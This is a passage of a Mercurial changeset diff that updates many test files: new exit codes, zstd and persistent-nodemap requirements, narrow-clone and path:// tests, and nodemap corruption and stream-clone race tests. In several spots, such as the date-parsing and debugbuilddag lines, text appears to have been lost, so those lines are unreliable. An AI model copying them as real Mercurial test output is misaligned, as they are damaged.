19:06:28 2021 -0400 +++ b/tests/test-minirst.py Tue Apr 20 11:01:06 2021 -0400 @@ -159,6 +159,8 @@ :a: First item. :ab: Second item. Indentation and wrapping is handled automatically. +:c\:d: a key with colon +:efg\:\:hh: a key with many colon Next list: diff -r bc268ea9f984 -r f67b8946bb1b tests/test-minirst.py.out --- a/tests/test-minirst.py.out Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-minirst.py.out Tue Apr 20 11:01:06 2021 -0400 @@ -439,6 +439,8 @@ a First item. ab Second item. Indentation and wrapping is handled automatically. +c:d a key with colon +efg::hh a key with many colon Next list: @@ -456,6 +458,9 @@ wrapping is handled automatically. +c:d a key with colon +efg::hh a key with many + colon Next list: @@ -476,6 +481,10 @@
First item.
ab
Second item. Indentation and wrapping is handled automatically. +
c:d +
a key with colon +
efg::hh +
a key with many colon

Next list: diff -r bc268ea9f984 -r f67b8946bb1b tests/test-mq-qfold.t --- a/tests/test-mq-qfold.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-mq-qfold.t Tue Apr 20 11:01:06 2021 -0400 @@ -235,7 +235,7 @@ rollback completed qrefresh interrupted while patch was popped! (revert --all, qpush to recover) abort: pretxncommit.unexpectedabort hook exited with status 1 - [255] + [40] $ cat .hg/last-message.txt original message diff -r bc268ea9f984 -r f67b8946bb1b tests/test-mq-qnew.t --- a/tests/test-mq-qnew.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-mq-qnew.t Tue Apr 20 11:01:06 2021 -0400 @@ -310,7 +310,7 @@ note: commit message saved in .hg/last-message.txt note: use 'hg commit --logfile .hg/last-message.txt --edit' to reuse it abort: pretxncommit.unexpectedabort hook exited with status 1 - [255] + [40] $ cat .hg/last-message.txt diff -r bc268ea9f984 -r f67b8946bb1b tests/test-mq-qrefresh-replace-log-message.t --- a/tests/test-mq-qrefresh-replace-log-message.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-mq-qrefresh-replace-log-message.t Tue Apr 20 11:01:06 2021 -0400 @@ -191,7 +191,7 @@ rollback completed qrefresh interrupted while patch was popped! (revert --all, qpush to recover) abort: pretxncommit.unexpectedabort hook exited with status 1 - [255] + [40] $ cat .hg/last-message.txt Fifth commit message This is the 5th log message @@ -235,7 +235,7 @@ rollback completed qrefresh interrupted while patch was popped! (revert --all, qpush to recover) abort: pretxncommit.unexpectedabort hook exited with status 1 - [255] + [40] (rebuilding at failure of qrefresh bases on rev #0, and it causes dropping status of "file2") @@ -273,7 +273,7 @@ rollback completed qrefresh interrupted while patch was popped! (revert --all, qpush to recover) abort: pretxncommit.unexpectedabort hook exited with status 1 - [255] + [40] $ sh "$TESTTMP/checkvisibility.sh" ==== @@ -315,7 +315,7 @@ rollback completed qrefresh interrupted while patch was popped! (revert --all, qpush to recover) abort: pretxncommit.unexpectedabort hook exited with status 1 - [255] + [40] $ sh "$TESTTMP/checkvisibility.sh" ==== diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow-clone-no-ellipsis.t --- a/tests/test-narrow-clone-no-ellipsis.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow-clone-no-ellipsis.t Tue Apr 20 11:01:06 2021 -0400 @@ -26,6 +26,8 @@ dotencode fncache narrowhg-experimental + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow-clone-stream.t --- a/tests/test-narrow-clone-stream.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow-clone-stream.t Tue Apr 20 11:01:06 2021 -0400 @@ -39,7 +39,7 @@ streaming all changes remote: abort: server does not support narrow stream clones abort: pull failed on remote - [255] + [100] Enable stream clone on the server @@ -68,6 +68,8 @@ fncache (flat-fncache !) generaldelta narrowhg-experimental + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow-clone.t --- a/tests/test-narrow-clone.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow-clone.t Tue Apr 20 11:01:06 2021 -0400 @@ -42,6 +42,8 @@ dotencode fncache narrowhg-experimental + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store @@ -62,15 +64,17 @@ $ cd .. -BUG: local-to-local narrow clones should work, but don't. +local-to-local narrow clones work $ hg clone --narrow master narrow-via-localpeer --noupdate --include "dir/src/f10" requesting all changes - abort: server does not support narrow clones - [255] + adding changesets + adding manifests + adding file changes + added 3 changesets with 1 changes to 1 files + new changesets 5d21aaea77f8:26ce255d5b5d $ hg tracked -R narrow-via-localpeer - abort: repository narrow-via-localpeer not found - [255] + I path:dir/src/f10 $ rm -Rf narrow-via-localpeer narrow clone with a newline should fail diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow-exchange.t --- a/tests/test-narrow-exchange.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow-exchange.t Tue Apr 20 11:01:06 2021 -0400 @@ -105,7 +105,7 @@ remote: adding file changes remote: transaction abort! remote: rollback completed - remote: abort: data/inside2/f.i@4a1aa07735e6: unknown parent (reporevlogstore !) + remote: abort: data/inside2/f.i@4a1aa07735e673e20c00fae80f40dc301ee30616: unknown parent (reporevlogstore !) remote: abort: data/inside2/f/index@4a1aa07735e6: no node (reposimplestore !) abort: stream ended unexpectedly (got 0 bytes, expected 4) [255] @@ -218,8 +218,8 @@ remote: adding manifests remote: adding file changes remote: added 1 changesets with 0 changes to 0 files (no-lfs-on !) - remote: error: pretxnchangegroup.lfs hook raised an exception: data/inside2/f.i@f59b4e021835: no match found (lfs-on !) + remote: error: pretxnchangegroup.lfs hook raised an exception: data/inside2/f.i@f59b4e0218355383d2789196f1092abcf2262b0c: no match found (lfs-on !) remote: transaction abort! (lfs-on !) remote: rollback completed (lfs-on !) - remote: abort: data/inside2/f.i@f59b4e021835: no match found (lfs-on !) + remote: abort: data/inside2/f.i@f59b4e0218355383d2789196f1092abcf2262b0c: no match found (lfs-on !) abort: stream ended unexpectedly (got 0 bytes, expected 4) (lfs-on !) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow-pull.t --- a/tests/test-narrow-pull.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow-pull.t Tue Apr 20 11:01:06 2021 -0400 @@ -78,7 +78,7 @@ transaction abort! rollback completed abort: pretxnchangegroup.bad hook exited with status 1 - [255] + [40] $ hg id 223311e70a6f tip @@ -147,7 +147,8 @@ $ hg clone -q --narrow ssh://user@dummy/master narrow2 --include "f1" -r 0 $ cd narrow2 $ hg pull -q -r 1 + remote: abort: unexpected error: unable to resolve parent while packing '00manifest.i' 1 for changeset 0 transaction abort! rollback completed abort: pull failed on remote - [255] + [100] diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow-shallow-merges.t --- a/tests/test-narrow-shallow-merges.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow-shallow-merges.t Tue Apr 20 11:01:06 2021 -0400 @@ -179,7 +179,7 @@ $ hg log -T '{if(ellipsis,"...")}{node|short} {p1node|short} {p2node|short} {desc}\n' | sort - ...2a20009de83e 000000000000 3ac1f5779de3 outside 10 + ...2a20009de83e 3ac1f5779de3 000000000000 outside 10 ...3ac1f5779de3 bb96a08b062a 465567bdfb2d merge a/b/c/d 9 ...8d874d57adea 7ef88b4dd4fa 000000000000 outside 12 ...b844052e7b3b 000000000000 000000000000 outside 2c diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow-shallow.t --- a/tests/test-narrow-shallow.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow-shallow.t Tue Apr 20 11:01:06 2021 -0400 @@ -110,9 +110,9 @@ requesting all changes remote: abort: depth must be positive, got 0 abort: pull failed on remote - [255] + [100] $ hg clone --narrow ssh://user@dummy/master bad --include "d2" --depth -1 requesting all changes remote: abort: depth must be positive, got -1 abort: pull failed on remote - [255] + [100] diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow-sparse.t --- a/tests/test-narrow-sparse.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow-sparse.t Tue Apr 20 11:01:06 2021 -0400 @@ -61,6 +61,8 @@ fncache generaldelta narrowhg-experimental + persistent-nodemap (rust !) + revlog-compression-zstd (zstd !) revlogv1 sparserevlog store diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow-trackedcmd.t --- a/tests/test-narrow-trackedcmd.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow-trackedcmd.t Tue Apr 20 11:01:06 2021 -0400 @@ -110,6 +110,8 @@ --clear whether to replace the existing narrowspec --force-delete-local-changes forces deletion of local changes when narrowing + --[no-]backup back up local changes when narrowing + (default: on) --update-working-copy update working copy when the store has changed -e --ssh CMD specify ssh command to use diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow-widen.t --- a/tests/test-narrow-widen.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow-widen.t Tue Apr 20 11:01:06 2021 -0400 @@ -431,7 +431,7 @@ transaction abort! rollback completed abort: pretxnchangegroup.bad hook exited with status 1 - [255] + [40] $ hg l $ hg bookmarks no bookmarks set diff -r bc268ea9f984 -r f67b8946bb1b tests/test-narrow.t --- a/tests/test-narrow.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-narrow.t Tue Apr 20 11:01:06 2021 -0400 @@ -61,7 +61,7 @@ [255] Names with '.' in them are OK. - $ hg clone --narrow ssh://user@dummy/master should-work --include a/.b/c + $ hg clone --narrow ./master should-work --include a/.b/c requesting all changes adding changesets adding manifests @@ -492,3 +492,33 @@ searching for changes looking for unused includes to remove found no unused includes +Test --no-backup + $ hg tracked --addinclude d0 --addinclude d2 -q + $ hg unbundle .hg/strip-backup/*-narrow.hg -q + $ rm .hg/strip-backup/* + $ hg tracked --auto-remove-includes --no-backup + comparing with ssh://user@dummy/master + searching for changes + looking for unused includes to remove + path:d0 + path:d2 + remove these unused includes (yn)? y + looking for local changes to affected paths + deleting data/d0/f.i + deleting data/d2/f.i + deleting meta/d0/00manifest.i (tree !) + deleting meta/d2/00manifest.i (tree !) + $ ls .hg/strip-backup/ + + +Test removing include while concurrently modifying file in that path + $ hg clone --narrow ssh://user@dummy/master narrow-concurrent-modify -q \ + > --include d0 --include d1 + $ cd narrow-concurrent-modify + $ hg --config 'hooks.pretxnopen = echo modified >> d0/f' tracked --removeinclude d0 + comparing with ssh://user@dummy/master + searching for changes + looking for local changes to affected paths + deleting data/d0/f.i + deleting meta/d0/00manifest.i (tree !) + not deleting possibly dirty file d0/f diff -r bc268ea9f984 -r f67b8946bb1b tests/test-obsolete-changeset-exchange.t --- a/tests/test-obsolete-changeset-exchange.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-obsolete-changeset-exchange.t Tue Apr 20 11:01:06 2021 -0400 @@ -158,11 +158,10 @@ list of changesets: bec0734cd68e84477ba7fc1d13e6cff53ab70129 listing keys for "bookmarks" - bundle2-output-bundle: "HG20", 4 parts total + bundle2-output-bundle: "HG20", 3 parts total bundle2-output-part: "changegroup" (params: 1 mandatory 1 advisory) streamed payload bundle2-output-part: "listkeys" (params: 1 mandatory) empty payload bundle2-output-part: "phase-heads" 24 bytes payload - bundle2-output-part: "cache:rev-branch-cache" (advisory) streamed payload bundle2-input-bundle: with-transaction bundle2-input-part: "changegroup" (params: 1 mandatory 1 advisory) supported adding changesets @@ -174,9 +173,7 @@ bundle2-input-part: "listkeys" (params: 1 mandatory) supported bundle2-input-part: "phase-heads" supported bundle2-input-part: total payload size 24 - bundle2-input-part: "cache:rev-branch-cache" (advisory) supported - bundle2-input-part: total payload size 39 - bundle2-input-bundle: 4 parts total + bundle2-input-bundle: 3 parts total checking for updated bookmarks updating the branch cache added 1 changesets with 1 changes to 1 files (+1 heads) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-obsolete-distributed.t --- a/tests/test-obsolete-distributed.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-obsolete-distributed.t Tue Apr 20 11:01:06 2021 -0400 @@ -151,12 +151,11 @@ list of changesets: 391a2bf12b1b8b05a72400ae36b26d50a091dc22 listing keys for "bookmarks" - bundle2-output-bundle: "HG20", 5 parts total + bundle2-output-bundle: "HG20", 4 parts total bundle2-output-part: "changegroup" (params: 1 mandatory 1 advisory) streamed payload bundle2-output-part: "listkeys" (params: 1 mandatory) empty payload bundle2-output-part: "obsmarkers" streamed payload bundle2-output-part: "phase-heads" 48 bytes payload - bundle2-output-part: "cache:rev-branch-cache" (advisory) streamed payload bundle2-input-bundle: with-transaction bundle2-input-part: "changegroup" (params: 1 mandatory 1 advisory) supported adding changesets @@ -170,9 +169,7 @@ bundle2-input-part: total payload size 143 bundle2-input-part: "phase-heads" supported bundle2-input-part: total payload size 48 - bundle2-input-part: "cache:rev-branch-cache" (advisory) supported - bundle2-input-part: total payload size 39 - bundle2-input-bundle: 5 parts total + bundle2-input-bundle: 4 parts total checking for updated bookmarks adding 1 changesets with 1 changes to 1 files (+1 heads) 1 new obsolescence markers diff -r bc268ea9f984 -r f67b8946bb1b tests/test-obsolete.t --- a/tests/test-obsolete.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-obsolete.t Tue Apr 20 11:01:06 2021 -0400 @@ -97,8 +97,10 @@ # rev p1rev p2rev start end deltastart base p1 p2 rawsize totalsize compression heads chainlen 0 -1 -1 0 59 0 0 0 0 58 58 0 1 0 1 0 -1 59 118 59 59 0 0 58 116 0 1 0 - 2 1 -1 118 193 118 118 59 0 76 192 0 1 0 - 3 1 -1 193 260 193 193 59 0 66 258 0 2 0 + 2 1 -1 118 193 118 118 59 0 76 192 0 1 0 (no-zstd !) + 3 1 -1 193 260 193 193 59 0 66 258 0 2 0 (no-zstd !) + 2 1 -1 118 195 118 118 59 0 76 192 0 1 0 (zstd !) + 3 1 -1 195 262 195 195 59 0 66 258 0 2 0 (zstd !) $ hg debugobsolete 245bde4270cd1072a27757984f9cda8ba26f08ca cdbce2fbb16313928851e97e0d85413f3f7eb77f C (Thu Jan 01 00:00:01 1970 -0002) {'user': 'test'} @@ -1844,6 +1846,7 @@ ancestor path: file (node bc7ebe2d260cff30d2a39a130d84add36216f791) other path: file (node b789fdd96dc2f3bd229c1dd8eedf0fc60e2b68e3) extra: ancestorlinknode = b73b8c9a4ab4da89a5a35a6f10dfb13edc84ca37 + extra: merged = yes We should be able to see the log (without the deleted commit, of course) $ hg log -G @ 0:f53e9479dce5 (draft) [tip ] first diff -r bc268ea9f984 -r f67b8946bb1b tests/test-parse-date.t --- a/tests/test-parse-date.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-parse-date.t Tue Apr 20 11:01:06 2021 -0400 @@ -103,43 +103,43 @@ $ hg log -d "--2" abort: -2 must be nonnegative (see 'hg help dates') - [255] + [10] Whitespace only $ hg log -d " " abort: dates cannot consist entirely of whitespace - [255] + [10] Test date formats with '>' or '<' accompanied by space characters $ hg log -d '>' --template '{date|date}\n' abort: invalid day spec, use '>DATE' - [255] + [10] $ hg log -d '<' --template '{date|date}\n' abort: invalid day spec, use '' --template '{date|date}\n' abort: invalid day spec, use '>DATE' - [255] + [10] $ hg log -d ' <' --template '{date|date}\n' abort: invalid day spec, use ' ' --template '{date|date}\n' abort: invalid day spec, use '>DATE' - [255] + [10] $ hg log -d '< ' --template '{date|date}\n' abort: invalid day spec, use ' ' --template '{date|date}\n' abort: invalid day spec, use '>DATE' - [255] + [10] $ hg log -d ' < ' --template '{date|date}\n' abort: invalid day spec, use '02/01' --template '{date|date}\n' $ hg log -d '<02/01' --template '{date|date}\n' diff -r bc268ea9f984 -r f67b8946bb1b tests/test-parseindex2.py --- a/tests/test-parseindex2.py Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-parseindex2.py Tue Apr 20 11:01:06 2021 -0400 @@ -117,8 +117,8 @@ ) -def parse_index2(data, inline): - index, chunkcache = parsers.parse_index2(data, inline) +def parse_index2(data, inline, revlogv2=False): + index, chunkcache = parsers.parse_index2(data, inline, revlogv2=revlogv2) return list(index), chunkcache diff -r bc268ea9f984 -r f67b8946bb1b tests/test-patchbomb.t --- a/tests/test-patchbomb.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-patchbomb.t Tue Apr 20 11:01:06 2021 -0400 @@ -2868,7 +2868,7 @@ dest#branch URIs: $ hg email --date '1980-1-1 0:1' -n -t foo -s test -o ../t#test - comparing with ../t + comparing with ../t#test From [test]: test this patch series consists of 1 patches. @@ -2998,7 +2998,7 @@ bad value setting ----------------- - $ echo 'intro=mpmwearaclownnose' >> $HGRCPATH + $ echo 'intro=oliviawearaclownnose' >> $HGRCPATH single rev @@ -3006,7 +3006,7 @@ From [test]: test this patch series consists of 1 patches. - warning: invalid patchbomb.intro value "mpmwearaclownnose" + warning: invalid patchbomb.intro value "oliviawearaclownnose" (should be one of always, never, auto) -f test foo MIME-Version: 1.0 @@ -3047,7 +3047,7 @@ $ hg email --date '1980-1-1 0:1' -v -t '~foo/bar@example.com' -f 'me*@example.com' -r '10' this patch series consists of 1 patches. - warning: invalid patchbomb.intro value "mpmwearaclownnose" + warning: invalid patchbomb.intro value "oliviawearaclownnose" (should be one of always, never, auto) -f me*@example.com ~foo/bar@example.com MIME-Version: 1.0 diff -r bc268ea9f984 -r f67b8946bb1b tests/test-pathconflicts-basic.t --- a/tests/test-pathconflicts-basic.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-pathconflicts-basic.t Tue Apr 20 11:01:06 2021 -0400 @@ -53,7 +53,7 @@ $ hg up file a: untracked directory conflicts with file abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ hg up --clean file 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (activating bookmark file) diff -r bc268ea9f984 -r f67b8946bb1b tests/test-pathconflicts-update.t --- a/tests/test-pathconflicts-update.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-pathconflicts-update.t Tue Apr 20 11:01:06 2021 -0400 @@ -49,7 +49,7 @@ $ hg up dir a/b: untracked file conflicts with directory abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ hg up dir --config merge.checkunknown=warn a/b: replacing untracked file 1 files updated, 0 files merged, 0 files removed, 0 files unresolved @@ -70,7 +70,7 @@ $ hg up dir a/b: untracked file conflicts with directory abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ hg up dir --config merge.checkunknown=warn a/b: replacing untracked file 1 files updated, 0 files merged, 0 files removed, 0 files unresolved @@ -89,7 +89,7 @@ $ hg up file a/b: untracked directory conflicts with file abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ hg up file --config merge.checkunknown=warn a/b: replacing untracked files in directory 1 files updated, 0 files merged, 0 files removed, 0 files unresolved @@ -107,7 +107,7 @@ $ hg up link a/b: untracked directory conflicts with file abort: untracked files in working directory differ from files in requested revision - [255] + [20] $ hg up link --config merge.checkunknown=warn a/b: replacing untracked files in directory 1 files updated, 0 files merged, 0 files removed, 0 files unresolved diff -r bc268ea9f984 -r f67b8946bb1b tests/test-paths.t --- a/tests/test-paths.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-paths.t Tue Apr 20 11:01:06 2021 -0400 @@ -211,3 +211,177 @@ 000000000000 $ cd .. + +Testing path referencing other paths +==================================== + +basic setup +----------- + + $ ls -1 + a + b + gpath1 + suboptions + $ hg init chained_path + $ cd chained_path + $ cat << EOF > .hg/hgrc + > [paths] + > default=../a + > other_default=path://default + > path_with_branch=../branchy#foo + > other_branch=path://path_with_branch + > other_branched=path://path_with_branch#default + > pushdest=../push-dest + > pushdest:pushrev=default + > pushdest2=path://pushdest + > pushdest-overwrite=path://pushdest + > pushdest-overwrite:pushrev=foo + > EOF + + $ hg init ../branchy + $ hg init ../push-dest + $ hg debugbuilddag -R ../branchy '.:base+3> .hg/hgrc + > chain_path=path://other_default + > EOF + + $ hg id + 000000000000 + $ hg path + abort: cannot use `path://other_default`, "other_default" is also defined as a `path://` + [255] + $ hg pull chain_path + abort: cannot use `path://other_default`, "other_default" is also defined as a `path://` + [255] + +Doing an actual circle should always be an issue + + $ cat << EOF >> .hg/hgrc + > rock=path://cissors + > cissors=path://paper + > paper=://rock + > EOF + + $ hg id + 000000000000 + $ hg path + abort: cannot use `path://other_default`, "other_default" is also defined as a `path://` + [255] + $ hg pull chain_path + abort: cannot use `path://other_default`, "other_default" is also defined as a `path://` + [255] + +Test basic error cases +---------------------- + + $ cat << EOF > .hg/hgrc + > [paths] + > error-missing=path://unknown + > EOF + $ hg path + abort: cannot use `path://unknown`, "unknown" is not a known path + [255] + $ hg pull error-missing + abort: cannot use `path://unknown`, "unknown" is not a known path + [255] + diff -r bc268ea9f984 -r f67b8946bb1b tests/test-persistent-nodemap.t --- a/tests/test-persistent-nodemap.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-persistent-nodemap.t Tue Apr 20 11:01:06 2021 -0400 @@ -2,6 +2,9 @@ Test the persistent on-disk nodemap =================================== + +#if no-rust + $ cat << EOF >> $HGRCPATH > [format] > use-persistent-nodemap=yes @@ -9,6 +12,8 @@ > persistent-nodemap=yes > EOF +#endif + $ hg init test-repo --config storage.revlog.persistent-nodemap.slow-path=allow $ cd test-repo @@ -56,11 +61,12 @@ generaldelta: yes share-safe: no sparserevlog: yes - sidedata: no persistent-nodemap: yes copies-sdc: no + revlog-v2: no plain-cl-delta: yes - compression: zlib + compression: zlib (no-zstd !) + compression: zstd (zstd !) compression-level: default $ hg debugbuilddag .+5000 --new-file @@ -575,17 +581,19 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no no no persistent-nodemap: yes no no copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default - $ hg debugupgraderepo --run --no-backup --quiet + $ hg debugupgraderepo --run --no-backup upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-zstd !) + preserved: dotencode, fncache, generaldelta, revlog-compression-zstd, revlogv1, sparserevlog, store (zstd !) removed: persistent-nodemap processed revlogs: @@ -593,8 +601,17 @@ - changelog - manifest + beginning upgrade... + repository locked and read-only + creating temporary repository to stage upgraded data: $TESTTMP/test-repo/.hg/upgrade.* (glob) + (it is safe to interrupt this process any time before data migration completes) + downgrading repository to not use persistent nodemap feature + removing temporary repository $TESTTMP/test-repo/.hg/upgrade.* (glob) $ ls -1 .hg/store/ | egrep '00(changelog|manifest)(\.n|-.*\.nd)' - [1] + 00changelog-*.nd (glob) + 00manifest-*.nd (glob) + undo.backup.00changelog.n + undo.backup.00manifest.n $ hg debugnodemap --metadata @@ -611,29 +628,42 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no no no persistent-nodemap: no yes no copies-sdc: no no no + revlog-v2: no no no plain-cl-delta: yes yes yes - compression: zlib zlib zlib + compression: zlib zlib zlib (no-zstd !) + compression: zstd zstd zstd (zstd !) compression-level: default default default - $ hg debugupgraderepo --run --no-backup --quiet + $ hg debugupgraderepo --run --no-backup upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, revlogv1, sparserevlog, store (no-zstd !) + preserved: dotencode, fncache, generaldelta, revlog-compression-zstd, revlogv1, sparserevlog, store (zstd !) added: persistent-nodemap + persistent-nodemap + Speedup revision lookup by node id. + processed revlogs: - all-filelogs - changelog - manifest + beginning upgrade... + repository locked and read-only + creating temporary repository to stage upgraded data: $TESTTMP/test-repo/.hg/upgrade.* (glob) + (it is safe to interrupt this process any time before data migration completes) + upgrading repository to use persistent nodemap feature + removing temporary repository $TESTTMP/test-repo/.hg/upgrade.* (glob) $ ls -1 .hg/store/ | egrep '00(changelog|manifest)(\.n|-.*\.nd)' 00changelog-*.nd (glob) 00changelog.n 00manifest-*.nd (glob) 00manifest.n + undo.backup.00changelog.n + undo.backup.00manifest.n $ hg debugnodemap --metadata uid: * (glob) @@ -649,7 +679,8 @@ upgrade will perform the following actions: requirements - preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlogv1, sparserevlog, store (no-zstd !) + preserved: dotencode, fncache, generaldelta, persistent-nodemap, revlog-compression-zstd, revlogv1, sparserevlog, store (zstd !) optimisations: re-delta-all @@ -716,20 +747,88 @@ data-unused: 0 data-unused: 0.000% +Test various corruption case +============================ + +Missing datafile +---------------- + +Test behavior with a missing datafile + + $ hg clone --quiet --pull test-repo corruption-test-repo + $ ls -1 corruption-test-repo/.hg/store/00changelog* + corruption-test-repo/.hg/store/00changelog-*.nd (glob) + corruption-test-repo/.hg/store/00changelog.d + corruption-test-repo/.hg/store/00changelog.i + corruption-test-repo/.hg/store/00changelog.n + $ rm corruption-test-repo/.hg/store/00changelog*.nd + $ hg log -R corruption-test-repo -r . + changeset: 5005:90d5d3ba2fc4 + tag: tip + user: test + date: Thu Jan 01 00:00:00 1970 +0000 + summary: a2 + + $ ls -1 corruption-test-repo/.hg/store/00changelog* + corruption-test-repo/.hg/store/00changelog.d + corruption-test-repo/.hg/store/00changelog.i + corruption-test-repo/.hg/store/00changelog.n + +Truncated data file +------------------- + +Test behavior with a too short datafile + +rebuild the missing data + $ hg -R corruption-test-repo debugupdatecache + $ ls -1 corruption-test-repo/.hg/store/00changelog* + corruption-test-repo/.hg/store/00changelog-*.nd (glob) + corruption-test-repo/.hg/store/00changelog.d + corruption-test-repo/.hg/store/00changelog.i + corruption-test-repo/.hg/store/00changelog.n + +truncate the file + + $ datafilepath=`ls corruption-test-repo/.hg/store/00changelog*.nd` + $ f -s $datafilepath + corruption-test-repo/.hg/store/00changelog-*.nd: size=121088 (glob) + $ dd if=$datafilepath bs=1000 count=10 of=$datafilepath-tmp status=none + $ mv $datafilepath-tmp $datafilepath + $ f -s $datafilepath + corruption-test-repo/.hg/store/00changelog-*.nd: size=10000 (glob) + +Check that Mercurial reaction to this event + + $ hg -R corruption-test-repo log -r . --traceback + changeset: 5005:90d5d3ba2fc4 + tag: tip + user: test + date: Thu Jan 01 00:00:00 1970 +0000 + summary: a2 + + + stream clone ------------- +============ The persistent nodemap should exist after a streaming clone +Simple case +----------- + +No race condition + $ hg clone -U --stream --config ui.ssh="\"$PYTHON\" \"$TESTDIR/dummyssh\"" ssh://user@dummy/test-repo stream-clone --debug | egrep '00(changelog|manifest)' adding [s] 00manifest.n (70 bytes) - adding [s] 00manifest.i (313 KB) - adding [s] 00manifest.d (452 KB) adding [s] 00manifest-*.nd (118 KB) (glob) adding [s] 00changelog.n (70 bytes) + adding [s] 00changelog-*.nd (118 KB) (glob) + adding [s] 00manifest.d (452 KB) (no-zstd !) + adding [s] 00manifest.d (491 KB) (zstd !) + adding [s] 00changelog.d (360 KB) (no-zstd !) + adding [s] 00changelog.d (368 KB) (zstd !) + adding [s] 00manifest.i (313 KB) adding [s] 00changelog.i (313 KB) - adding [s] 00changelog.d (360 KB) - adding [s] 00changelog-*.nd (118 KB) (glob) $ ls -1 stream-clone/.hg/store/ | egrep '00(changelog|manifest)(\.n|-.*\.nd)' 00changelog-*.nd (glob) 00changelog.n @@ -742,3 +841,212 @@ data-length: 121088 data-unused: 0 data-unused: 0.000% + +new data appened +----------------- + +Other commit happening on the server during the stream clone + +setup the step-by-step stream cloning + + $ HG_TEST_STREAM_WALKED_FILE_1="$TESTTMP/sync_file_walked_1" + $ export HG_TEST_STREAM_WALKED_FILE_1 + $ HG_TEST_STREAM_WALKED_FILE_2="$TESTTMP/sync_file_walked_2" + $ export HG_TEST_STREAM_WALKED_FILE_2 + $ HG_TEST_STREAM_WALKED_FILE_3="$TESTTMP/sync_file_walked_3" + $ export HG_TEST_STREAM_WALKED_FILE_3 + $ cat << EOF >> test-repo/.hg/hgrc + > [extensions] + > steps=$RUNTESTDIR/testlib/ext-stream-clone-steps.py + > EOF + +Check and record file state beforehand + + $ f --size test-repo/.hg/store/00changelog* + test-repo/.hg/store/00changelog-*.nd: size=121088 (glob) + test-repo/.hg/store/00changelog.d: size=376891 (zstd !) + test-repo/.hg/store/00changelog.d: size=368890 (no-zstd !) + test-repo/.hg/store/00changelog.i: size=320384 + test-repo/.hg/store/00changelog.n: size=70 + $ hg -R test-repo debugnodemap --metadata | tee server-metadata.txt + uid: * (glob) + tip-rev: 5005 + tip-node: 90d5d3ba2fc47db50f712570487cb261a68c8ffe + data-length: 121088 + data-unused: 0 + data-unused: 0.000% + +Prepare a commit + + $ echo foo >> test-repo/foo + $ hg -R test-repo/ add test-repo/foo + +Do a mix of clone and commit at the same time so that the file listed on disk differ at actual transfer time. + + $ (hg clone -U --stream --config ui.ssh="\"$PYTHON\" \"$TESTDIR/dummyssh\"" ssh://user@dummy/test-repo stream-clone-race-1 --debug 2>> clone-output | egrep '00(changelog|manifest)' >> clone-output; touch $HG_TEST_STREAM_WALKED_FILE_3) & + $ $RUNTESTDIR/testlib/wait-on-file 10 $HG_TEST_STREAM_WALKED_FILE_1 + $ hg -R test-repo/ commit -m foo + $ touch $HG_TEST_STREAM_WALKED_FILE_2 + $ $RUNTESTDIR/testlib/wait-on-file 10 $HG_TEST_STREAM_WALKED_FILE_3 + $ cat clone-output + adding [s] 00manifest.n (70 bytes) + adding [s] 00manifest-*.nd (118 KB) (glob) + adding [s] 00changelog.n (70 bytes) + adding [s] 